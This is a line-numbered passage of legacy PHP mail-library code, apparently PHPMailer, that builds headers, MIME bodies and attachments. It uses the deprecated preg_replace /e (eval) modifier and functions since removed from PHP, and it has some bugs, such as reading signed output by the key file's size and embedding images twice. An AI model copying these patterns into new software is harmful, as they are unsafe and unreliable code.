2146 if($this->Mailer != 'mail') {
2147 if(count($this->to) > 0) {
2148 $result .= $this->AddrAppend('To', $this->to);
2149 } elseif (count($this->cc) == 0) {
2150 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2151 }
2152 if(count($this->cc) > 0) {
2153 $result .= $this->AddrAppend('Cc', $this->cc);
2154 }
2155 }
2156
2157 $from = array();
2158 $from[0][0] = trim($this->From);
2159 $from[0][1] = $this->FromName;
2160 $result .= $this->AddrAppend('From', $from);
2161
2162 /* sendmail and mail() extract Cc from the header before sending */
2163 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2164 $result .= $this->AddrAppend('Cc', $this->cc);
2165 }
2166
2167 /* sendmail and mail() extract Bcc from the header before sending */
2168 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2169 $result .= $this->AddrAppend('Bcc', $this->bcc);
2170 }
2171
2172 if(count($this->ReplyTo) > 0) {
2173 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2174 }
2175
2176 /* mail() sets the subject itself */
2177 if($this->Mailer != 'mail') {
2178 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2179 }
2180
2181 if($this->MessageID != '') {
2182 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2183 } else {
2184 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2185 }
2186 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2187 $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
2188
2189 if($this->ConfirmReadingTo != '') {
2190 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2191 }
2192
2193 // Add custom headers
2194 for($index = 0; $index < count($this->CustomHeader); $index++) {
2195 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2196 }
2197 if (!$this->sign_key_file) {
2198 $result .= $this->HeaderLine('MIME-Version', '1.0');
2199 $result .= $this->GetMailMIME();
2200 }
2201
2202 return $result;
2203 }
2204
2205 /**
2206 * Returns the message MIME.
2207 * @access private
2208 * @return string
2209 */
2210 function GetMailMIME() {
2211 $result = '';
2212 switch($this->message_type) {
2213 case 'plain':
2214 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2215 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2216 break;
2217 case 'attachments':
2218 /* fall through */
2219 case 'alt_attachments':
2220 if($this->InlineImageExists()){
2221 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2222 } else {
2223 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2224 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2225 }
2226 break;
2227 case 'alt':
2228 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2229 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2230 break;
2231 }
2232
2233 if($this->Mailer != 'mail') {
2234 $result .= $this->LE.$this->LE;
2235 }
2236
2237 return $result;
2238 }
2239
2240 /**
2241 * Assembles the message body. Returns an empty string on failure.
2242 * @access private
2243 * @return string
2244 */
2245 function CreateBody() {
2246 $result = '';
2247 if ($this->sign_key_file) {
2248 $result .= $this->GetMailMIME();
2249 }
2250
2251 $this->SetWordWrap();
2252
2253 switch($this->message_type) {
2254 case 'alt':
2255 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2256 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2257 $result .= $this->LE.$this->LE;
2258 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2259 $result .= $this->EncodeString($this->Body, $this->Encoding);
2260 $result .= $this->LE.$this->LE;
2261 $result .= $this->EndBoundary($this->boundary[1]);
2262 break;
2263 case 'plain':
2264 $result .= $this->EncodeString($this->Body, $this->Encoding);
2265 break;
2266 case 'attachments':
2267 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2268 $result .= $this->EncodeString($this->Body, $this->Encoding);
2269 $result .= $this->LE;
2270 $result .= $this->AttachAll();
2271 break;
2272 case 'alt_attachments':
2273 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2274 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2275 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2276 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2277 $result .= $this->LE.$this->LE;
2278 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2279 $result .= $this->EncodeString($this->Body, $this->Encoding);
2280 $result .= $this->LE.$this->LE;
2281 $result .= $this->EndBoundary($this->boundary[2]);
2282 $result .= $this->AttachAll();
2283 break;
2284 }
2285
2286 if($this->IsError()) {
2287 $result = '';
2288 } else if ($this->sign_key_file) {
2289 $file = tempnam("", "mail");
2290 $fp = fopen($file, "w");
2291 fwrite($fp, $result);
2292 fclose($fp);
2293 $signed = tempnam("", "signed");
2294
2295 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2296 $fp = fopen($signed, "r");
2297 $result = fread($fp, filesize($this->sign_key_file));
2298 fclose($fp);
2299 } else {
2300 $this->SetError($this->Lang("signing").openssl_error_string());
2301 $result = '';
2302 }
2303
2304 unlink($file);
2305 unlink($signed);
2306 }
2307
2308 return $result;
2309 }
2310
2311 /**
2312 * Returns the start of a message boundary.
2313 * @access private
2314 */
2315 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2316 $result = '';
2317 if($charSet == '') {
2318 $charSet = $this->CharSet;
2319 }
2320 if($contentType == '') {
2321 $contentType = $this->ContentType;
2322 }
2323 if($encoding == '') {
2324 $encoding = $this->Encoding;
2325 }
2326 $result .= $this->TextLine('--' . $boundary);
2327 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2328 $result .= $this->LE;
2329 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2330 $result .= $this->LE;
2331
2332 return $result;
2333 }
2334
2335 /**
2336 * Returns the end of a message boundary.
2337 * @access private
2338 */
2339 function EndBoundary($boundary) {
2340 return $this->LE . '--' . $boundary . '--' . $this->LE;
2341 }
2342
2343 /**
2344 * Sets the message type.
2345 * @access private
2346 * @return void
2347 */
2348 function SetMessageType() {
2349 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2350 $this->message_type = 'plain';
2351 } else {
2352 if(count($this->attachment) > 0) {
2353 $this->message_type = 'attachments';
2354 }
2355 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2356 $this->message_type = 'alt';
2357 }
2358 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2359 $this->message_type = 'alt_attachments';
2360 }
2361 }
2362 }
2363
2364 /* Returns a formatted header line.
2365 * @access private
2366 * @return string
2367 */
2368 function HeaderLine($name, $value) {
2369 return $name . ': ' . $value . $this->LE;
2370 }
2371
2372 /**
2373 * Returns a formatted mail line.
2374 * @access private
2375 * @return string
2376 */
2377 function TextLine($value) {
2378 return $value . $this->LE;
2379 }
2380
2381 /////////////////////////////////////////////////
2382 // CLASS METHODS, ATTACHMENTS
2383 /////////////////////////////////////////////////
2384
2385 /**
2386 * Adds an attachment from a path on the filesystem.
2387 * Returns false if the file could not be found
2388 * or accessed.
2389 * @param string $path Path to the attachment.
2390 * @param string $name Overrides the attachment name.
2391 * @param string $encoding File encoding (see $Encoding).
2392 * @param string $type File extension (MIME) type.
2393 * @return bool
2394 */
2395 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2396 if(!@is_file($path)) {
2397 $this->SetError($this->Lang('file_access') . $path);
2398 return false;
2399 }
2400
2401 $filename = basename($path);
2402 if($name == '') {
2403 $name = $filename;
2404 }
2405
2406 $cur = count($this->attachment);
2407 $this->attachment[$cur][0] = $path;
2408 $this->attachment[$cur][1] = $filename;
2409 $this->attachment[$cur][2] = $name;
2410 $this->attachment[$cur][3] = $encoding;
2411 $this->attachment[$cur][4] = $type;
2412 $this->attachment[$cur][5] = false; // isStringAttachment
2413 $this->attachment[$cur][6] = 'attachment';
2414 $this->attachment[$cur][7] = 0;
2415
2416 return true;
2417 }
2418
2419 /**
2420 * Attaches all fs, string, and binary attachments to the message.
2421 * Returns an empty string on failure.
2422 * @access private
2423 * @return string
2424 */
2425 function AttachAll() {
2426 /* Return text of body */
2427 $mime = array();
2428
2429 /* Add all attachments */
2430 for($i = 0; $i < count($this->attachment); $i++) {
2431 /* Check for string attachment */
2432 $bString = $this->attachment[$i][5];
2433 if ($bString) {
2434 $string = $this->attachment[$i][0];
2435 } else {
2436 $path = $this->attachment[$i][0];
2437 }
2438
2439 $filename = $this->attachment[$i][1];
2440 $name = $this->attachment[$i][2];
2441 $encoding = $this->attachment[$i][3];
2442 $type = $this->attachment[$i][4];
2443 $disposition = $this->attachment[$i][6];
2444 $cid = $this->attachment[$i][7];
2445
2446 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2447 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2448 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2449
2450 if($disposition == 'inline') {
2451 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2452 }
2453
2454 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2455
2456 /* Encode as string attachment */
2457 if($bString) {
2458 $mime[] = $this->EncodeString($string, $encoding);
2459 if($this->IsError()) {
2460 return '';
2461 }
2462 $mime[] = $this->LE.$this->LE;
2463 } else {
2464 $mime[] = $this->EncodeFile($path, $encoding);
2465 if($this->IsError()) {
2466 return '';
2467 }
2468 $mime[] = $this->LE.$this->LE;
2469 }
2470 }
2471
2472 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2473
2474 return join('', $mime);
2475 }
2476
2477 /**
2478 * Encodes attachment in requested format. Returns an
2479 * empty string on failure.
2480 * @access private
2481 * @return string
2482 */
2483 function EncodeFile ($path, $encoding = 'base64') {
2484 if(!@$fd = fopen($path, 'rb')) {
2485 $this->SetError($this->Lang('file_open') . $path);
2486 return '';
2487 }
2488 $magic_quotes = get_magic_quotes_runtime();
2489 set_magic_quotes_runtime(0);
2490 $file_buffer = fread($fd, filesize($path));
2491 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2492 fclose($fd);
2493 set_magic_quotes_runtime($magic_quotes);
2494
2495 return $file_buffer;
2496 }
2497
2498 /**
2499 * Encodes string to requested format. Returns an
2500 * empty string on failure.
2501 * @access private
2502 * @return string
2503 */
2504 function EncodeString ($str, $encoding = 'base64') {
2505 $encoded = '';
2506 switch(strtolower($encoding)) {
2507 case 'base64':
2508 /* chunk_split is found in PHP >= 3.0.6 */
2509 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2510 break;
2511 case '7bit':
2512 case '8bit':
2513 $encoded = $this->FixEOL($str);
2514 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2515 $encoded .= $this->LE;
2516 break;
2517 case 'binary':
2518 $encoded = $str;
2519 break;
2520 case 'quoted-printable':
2521 $encoded = $this->EncodeQP($str);
2522 break;
2523 default:
2524 $this->SetError($this->Lang('encoding') . $encoding);
2525 break;
2526 }
2527 return $encoded;
2528 }
2529
2530 /**
2531 * Encode a header string to best of Q, B, quoted or none.
2532 * @access private
2533 * @return string
2534 */
2535 function EncodeHeader ($str, $position = 'text') {
2536 $x = 0;
2537
2538 switch (strtolower($position)) {
2539 case 'phrase':
2540 if (!preg_match('/[\200-\377]/', $str)) {
2541 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2542 $encoded = addcslashes($str, "\0..\37\177\\\"");
2543 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2544 return ($encoded);
2545 } else {
2546 return ("\"$encoded\"");
2547 }
2548 }
2549 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2550 break;
2551 case 'comment':
2552 $x = preg_match_all('/[()"]/', $str, $matches);
2553 /* Fall-through */
2554 case 'text':
2555 default:
2556 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2557 break;
2558 }
2559
2560 if ($x == 0) {
2561 return ($str);
2562 }
2563
2564 $maxlen = 75 - 7 - strlen($this->CharSet);
2565 /* Try to select the encoding which should produce the shortest output */
2566 if (strlen($str)/3 < $x) {
2567 $encoding = 'B';
2568 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2569 // Use a custom function which correctly encodes and wraps long
2570 // multibyte strings without breaking lines within a character
2571 $encoded = $this->Base64EncodeWrapMB($str);
2572 } else {
2573 $encoded = base64_encode($str);
2574 $maxlen -= $maxlen % 4;
2575 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2576 }
2577 } else {
2578 $encoding = 'Q';
2579 $encoded = $this->EncodeQ($str, $position);
2580 $encoded = $this->WrapText($encoded, $maxlen, true);
2581 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2582 }
2583
2584 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2585 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2586
2587 return $encoded;
2588 }
2589
2590 /**
2591 * Checks if a string contains multibyte characters.
2592 * @access private
2593 * @param string $str multi-byte text to wrap encode
2594 * @return bool
2595 */
2596 function HasMultiBytes($str) {
2597 if (function_exists('mb_strlen')) {
2598 return (strlen($str) > mb_strlen($str, $this->CharSet));
2599 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2600 return False;
2601 }
2602 }
2603
2604 /**
2605 * Correctly encodes and wraps long multibyte strings for mail headers
2606 * without breaking lines within a character.
2607 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2608 * @access private
2609 * @param string $str multi-byte text to wrap encode
2610 * @return string
2611 */
2612 function Base64EncodeWrapMB($str) {
2613 $start = "=?".$this->CharSet."?B?";
2614 $end = "?=";
2615 $encoded = "";
2616
2617 $mb_length = mb_strlen($str, $this->CharSet);
2618 // Each line must have length <= 75, including $start and $end
2619 $length = 75 - strlen($start) - strlen($end);
2620 // Average multi-byte ratio
2621 $ratio = $mb_length / strlen($str);
2622 // Base64 has a 4:3 ratio
2623 $offset = $avgLength = floor($length * $ratio * .75);
2624
2625 for ($i = 0; $i < $mb_length; $i += $offset) {
2626 $lookBack = 0;
2627
2628 do {
2629 $offset = $avgLength - $lookBack;
2630 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2631 $chunk = base64_encode($chunk);
2632 $lookBack++;
2633 }
2634 while (strlen($chunk) > $length);
2635
2636 $encoded .= $chunk . $this->LE;
2637 }
2638
2639 // Chomp the last linefeed
2640 $encoded = substr($encoded, 0, -strlen($this->LE));
2641 return $encoded;
2642 }
2643
2644 /**
2645 * Encode string to quoted-printable.
2646 * @access private
2647 * @return string
2648 */
2649 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2650 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2651 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2652 $eol = "\r\n";
2653 $escape = '=';
2654 $output = '';
2655 while( list(, $line) = each($lines) ) {
2656 $linlen = strlen($line);
2657 $newline = '';
2658 for($i = 0; $i < $linlen; $i++) {
2659 $c = substr( $line, $i, 1 );
2660 $dec = ord( $c );
2661 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2662 $c = '=2E';
2663 }
2664 if ( $dec == 32 ) {
2665 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2666 $c = '=20';
2667 } else if ( $space_conv ) {
2668 $c = '=20';
2669 }
2670 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2671 $h2 = floor($dec/16);
2672 $h1 = floor($dec%16);
2673 $c = $escape.$hex[$h2].$hex[$h1];
2674 }
2675 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2676 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2677 $newline = '';
2678 // check if newline first character will be point or not
2679 if ( $dec == 46 ) {
2680 $c = '=2E';
2681 }
2682 }
2683 $newline .= $c;
2684 } // end of for
2685 $output .= $newline.$eol;
2686 } // end of while
2687 return trim($output);
2688 }
2689
2690 /**
2691 * Encode string to q encoding.
2692 * @access private
2693 * @return string
2694 */
2695 function EncodeQ ($str, $position = 'text') {
2696 /* There should not be any EOL in the string */
2697 $encoded = preg_replace("[\r\n]", '', $str);
2698
2699 switch (strtolower($position)) {
2700 case 'phrase':
2701 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2702 break;
2703 case 'comment':
2704 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2705 case 'text':
2706 default:
2707 /* Replace every high ascii, control =, ? and _ characters */
2708 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2709 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2710 break;
2711 }
2712
2713 /* Replace every spaces to _ (more readable than =20) */
2714 $encoded = str_replace(' ', '_', $encoded);
2715
2716 return $encoded;
2717 }
2718
2719 /**
2720 * Adds a string or binary attachment (non-filesystem) to the list.
2721 * This method can be used to attach ascii or binary data,
2722 * such as a BLOB record from a database.
2723 * @param string $string String attachment data.
2724 * @param string $filename Name of the attachment.
2725 * @param string $encoding File encoding (see $Encoding).
2726 * @param string $type File extension (MIME) type.
2727 * @return void
2728 */
2729 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2730 /* Append to $attachment array */
2731 $cur = count($this->attachment);
2732 $this->attachment[$cur][0] = $string;
2733 $this->attachment[$cur][1] = $filename;
2734 $this->attachment[$cur][2] = $filename;
2735 $this->attachment[$cur][3] = $encoding;
2736 $this->attachment[$cur][4] = $type;
2737 $this->attachment[$cur][5] = true; // isString
2738 $this->attachment[$cur][6] = 'attachment';
2739 $this->attachment[$cur][7] = 0;
2740 }
2741
2742 /**
2743 * Adds an embedded attachment. This can include images, sounds, and
2744 * just about any other document. Make sure to set the $type to an
2745 * image type. For JPEG images use "image/jpeg" and for GIF images
2746 * use "image/gif".
2747 * @param string $path Path to the attachment.
2748 * @param string $cid Content ID of the attachment. Use this to identify
2749 * the Id for accessing the image in an HTML form.
2750 * @param string $name Overrides the attachment name.
2751 * @param string $encoding File encoding (see $Encoding).
2752 * @param string $type File extension (MIME) type.
2753 * @return bool
2754 */
2755 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2756
2757 if(!@is_file($path)) {
2758 $this->SetError($this->Lang('file_access') . $path);
2759 return false;
2760 }
2761
2762 $filename = basename($path);
2763 if($name == '') {
2764 $name = $filename;
2765 }
2766
2767 /* Append to $attachment array */
2768 $cur = count($this->attachment);
2769 $this->attachment[$cur][0] = $path;
2770 $this->attachment[$cur][1] = $filename;
2771 $this->attachment[$cur][2] = $name;
2772 $this->attachment[$cur][3] = $encoding;
2773 $this->attachment[$cur][4] = $type;
2774 $this->attachment[$cur][5] = false;
2775 $this->attachment[$cur][6] = 'inline';
2776 $this->attachment[$cur][7] = $cid;
2777
2778 return true;
2779 }
2780
2781 /**
2782 * Returns true if an inline attachment is present.
2783 * @access private
2784 * @return bool
2785 */
2786 function InlineImageExists() {
2787 $result = false;
2788 for($i = 0; $i < count($this->attachment); $i++) {
2789 if($this->attachment[$i][6] == 'inline') {
2790 $result = true;
2791 break;
2792 }
2793 }
2794
2795 return $result;
2796 }
2797
2798 /////////////////////////////////////////////////
2799 // CLASS METHODS, MESSAGE RESET
2800 /////////////////////////////////////////////////
2801
2802 /**
2803 * Clears all recipients assigned in the TO array. Returns void.
2804 * @return void
2805 */
2806 function ClearAddresses() {
2807 $this->to = array();
2808 }
2809
2810 /**
2811 * Clears all recipients assigned in the CC array. Returns void.
2812 * @return void
2813 */
2814 function ClearCCs() {
2815 $this->cc = array();
2816 }
2817
2818 /**
2819 * Clears all recipients assigned in the BCC array. Returns void.
2820 * @return void
2821 */
2822 function ClearBCCs() {
2823 $this->bcc = array();
2824 }
2825
2826 /**
2827 * Clears all recipients assigned in the ReplyTo array. Returns void.
2828 * @return void
2829 */
2830 function ClearReplyTos() {
2831 $this->ReplyTo = array();
2832 }
2833
2834 /**
2835 * Clears all recipients assigned in the TO, CC and BCC
2836 * array. Returns void.
2837 * @return void
2838 */
2839 function ClearAllRecipients() {
2840 $this->to = array();
2841 $this->cc = array();
2842 $this->bcc = array();
2843 }
2844
2845 /**
2846 * Clears all previously set filesystem, string, and binary
2847 * attachments. Returns void.
2848 * @return void
2849 */
2850 function ClearAttachments() {
2851 $this->attachment = array();
2852 }
2853
2854 /**
2855 * Clears all custom headers. Returns void.
2856 * @return void
2857 */
2858 function ClearCustomHeaders() {
2859 $this->CustomHeader = array();
2860 }
2861
2862 /////////////////////////////////////////////////
2863 // CLASS METHODS, MISCELLANEOUS
2864 /////////////////////////////////////////////////
2865
2866 /**
2867 * Adds the error message to the error container.
2868 * Returns void.
2869 * @access private
2870 * @return void
2871 */
2872 function SetError($msg) {
2873 $this->error_count++;
2874 $this->ErrorInfo = $msg;
2875 }
2876
2877 /**
2878 * Returns the proper RFC 822 formatted date.
2879 * @access private
2880 * @return string
2881 */
2882 function RFCDate() {
2883 $tz = date('Z');
2884 $tzs = ($tz < 0) ? '-' : '+';
2885 $tz = abs($tz);
2886 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
2887 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
2888
2889 return $result;
2890 }
2891
2892 /**
2893 * Returns the appropriate server variable. Should work with both
2894 * PHP 4.1.0+ as well as older versions. Returns an empty string
2895 * if nothing is found.
2896 * @access private
2897 * @return mixed
2898 */
2899 function ServerVar($varName) {
2900 global $HTTP_SERVER_VARS;
2901 global $HTTP_ENV_VARS;
2902
2903 if(!isset($_SERVER)) {
2904 $_SERVER = $HTTP_SERVER_VARS;
2905 if(!isset($_SERVER['REMOTE_ADDR'])) {
2906 $_SERVER = $HTTP_ENV_VARS; // must be Apache
2907 }
2908 }
2909
2910 if(isset($_SERVER[$varName])) {
2911 return $_SERVER[$varName];
2912 } else {
2913 return '';
2914 }
2915 }
2916
2917 /**
2918 * Returns the server hostname or 'localhost.localdomain' if unknown.
2919 * @access private
2920 * @return string
2921 */
2922 function ServerHostname() {
2923 if ($this->Hostname != '') {
2924 $result = $this->Hostname;
2925 } elseif ($this->ServerVar('SERVER_NAME') != '') {
2926 $result = $this->ServerVar('SERVER_NAME');
2927 } else {
2928 $result = 'localhost.localdomain';
2929 }
2930
2931 return $result;
2932 }
2933
2934 /**
2935 * Returns a message in the appropriate language.
2936 * @access private
2937 * @return string
2938 */
2939 function Lang($key) {
2940 if(count($this->language) < 1) {
2941 $this->SetLanguage('en'); // set the default language
2942 }
2943
2944 if(isset($this->language[$key])) {
2945 return $this->language[$key];
2946 } else {
2947 return 'Language string failed to load: ' . $key;
2948 }
2949 }
2950
2951 /**
2952 * Returns true if an error occurred.
2953 * @return bool
2954 */
2955 function IsError() {
2956 return ($this->error_count > 0);
2957 }
2958
2959 /**
2960 * Changes every end of line from CR or LF to CRLF.
2961 * @access private
2962 * @return string
2963 */
2964 function FixEOL($str) {
2965 $str = str_replace("\r\n", "\n", $str);
2966 $str = str_replace("\r", "\n", $str);
2967 $str = str_replace("\n", $this->LE, $str);
2968 return $str;
2969 }
2970
2971 /**
2972 * Adds a custom header.
2973 * @return void
2974 */
2975 function AddCustomHeader($custom_header) {
2976 $this->CustomHeader[] = explode(':', $custom_header, 2);
2977 }
2978
2979 /**
2980 * Evaluates the message and returns modifications for inline images and backgrounds
2981 * @access public
2982 * @return $message
2983 */
2984 function MsgHTML($message,$basedir='') {
2985 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
2986 if(isset($images[2])) {
2987 foreach($images[2] as $i => $url) {
2988 // do not change urls for absolute images (thanks to corvuscorax)
2989 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
2990 $filename = basename($url);
2991 $directory = dirname($url);
2992 ($directory == '.')?$directory='':'';
2993 $cid = 'cid:' . md5($filename);
2994 $fileParts = split("\.", $filename);
2995 $ext = $fileParts[1];
2996 $mimeType = $this->_mime_types($ext);
2997 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
2998 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
2999 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3000 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3001 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3002 }
3003 }
3004 }
3005 }
3006 $this->IsHTML(true);
3007 $this->Body = $message;
3008 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3009 if ( !empty($textMsg) && empty($this->AltBody) ) {
3010 $this->AltBody = $textMsg;
3011 }
3012 if ( empty($this->AltBody) ) {
3013 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3014 }
3015 }
3016
3017 /**
3018 * Gets the mime type of the embedded or inline image
3019 * @access private
3020 * @return mime type of ext
3021 */
3022 function _mime_types($ext = '') {
3023 $mimes = array(
3024 'hqx' => 'application/mac-binhex40',
3025 'cpt' => 'application/mac-compactpro',
3026 'doc' => 'application/msword',
3027 'bin' => 'application/macbinary',
3028 'dms' => 'application/octet-stream',
3029 'lha' => 'application/octet-stream',
3030 'lzh' => 'application/octet-stream',
3031 'exe' => 'application/octet-stream',
3032 'class' => 'application/octet-stream',
3033 'psd' => 'application/octet-stream',
3034 'so' => 'application/octet-stream',
3035 'sea' => 'application/octet-stream',
3036 'dll' => 'application/octet-stream',
3037 'oda' => 'application/oda',
3038 'pdf' => 'application/pdf',
3039 'ai' => 'application/postscript',
3040 'eps' => 'application/postscript',
3041 'ps' => 'application/postscript',
3042 'smi' => 'application/smil',
3043 'smil' => 'application/smil',
3044 'mif' => 'application/vnd.mif',
3045 'xls' => 'application/vnd.ms-excel',
3046 'ppt' => 'application/vnd.ms-powerpoint',
3047 'wbxml' => 'application/vnd.wap.wbxml',
3048 'wmlc' => 'application/vnd.wap.wmlc',
3049 'dcr' => 'application/x-director',
3050 'dir' => 'application/x-director',
3051 'dxr' => 'application/x-director',
3052 'dvi' => 'application/x-dvi',
3053 'gtar' => 'application/x-gtar',
3054 'php' => 'application/x-httpd-php',
3055 'php4' => 'application/x-httpd-php',
3056 'php3' => 'application/x-httpd-php',
3057 'phtml' => 'application/x-httpd-php',
3058 'phps' => 'application/x-httpd-php-source',
3059 'js' => 'application/x-javascript',
3060 'swf' => 'application/x-shockwave-flash',
3061 'sit' => 'application/x-stuffit',
3062 'tar' => 'application/x-tar',
3063 'tgz' => 'application/x-tar',
3064 'xhtml' => 'application/xhtml+xml',
3065 'xht' => 'application/xhtml+xml',
3066 'zip' => 'application/zip',
3067 'mid' => 'audio/midi',
3068 'midi' => 'audio/midi',
3069 'mpga' => 'audio/mpeg',
3070 'mp2' => 'audio/mpeg',
3071 'mp3' => 'audio/mpeg',
3072 'aif' => 'audio/x-aiff',
3073 'aiff' => 'audio/x-aiff',
3074 'aifc' => 'audio/x-aiff',
3075 'ram' => 'audio/x-pn-realaudio',
3076 'rm' => 'audio/x-pn-realaudio',
3077 'rpm' => 'audio/x-pn-realaudio-plugin',
3078 'ra' => 'audio/x-realaudio',
3079 'rv' => 'video/vnd.rn-realvideo',
3080 'wav' => 'audio/x-wav',
3081 'bmp' => 'image/bmp',
3082 'gif' => 'image/gif',
3083 'jpeg' => 'image/jpeg',
3084 'jpg' => 'image/jpeg',
3085 'jpe' => 'image/jpeg',
3086 'png' => 'image/png',
3087 'tiff' => 'image/tiff',
3088 'tif' => 'image/tiff',
3089 'css' => 'text/css',
3090 'html' => 'text/html',
3091 'htm' => 'text/html',
3092 'shtml' => 'text/html',
3093 'txt' => 'text/plain',
3094 'text' => 'text/plain',
3095 'log' => 'text/plain',
3096 'rtx' => 'text/richtext',
3097 'rtf' => 'text/rtf',
3098 'xml' => 'text/xml',
3099 'xsl' => 'text/xml',
3100 'mpeg' => 'video/mpeg',
3101 'mpg' => 'video/mpeg',
3102 'mpe' => 'video/mpeg',
3103 'qt' => 'video/quicktime',
3104 'mov' => 'video/quicktime',
3105 'avi' => 'video/x-msvideo',
3106 'movie' => 'video/x-sgi-movie',
3107 'doc' => 'application/msword',
3108 'word' => 'application/msword',
3109 'xl' => 'application/excel',
3110 'eml' => 'message/rfc822'
3111 );
3112 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3113 }
3114
3115 /**
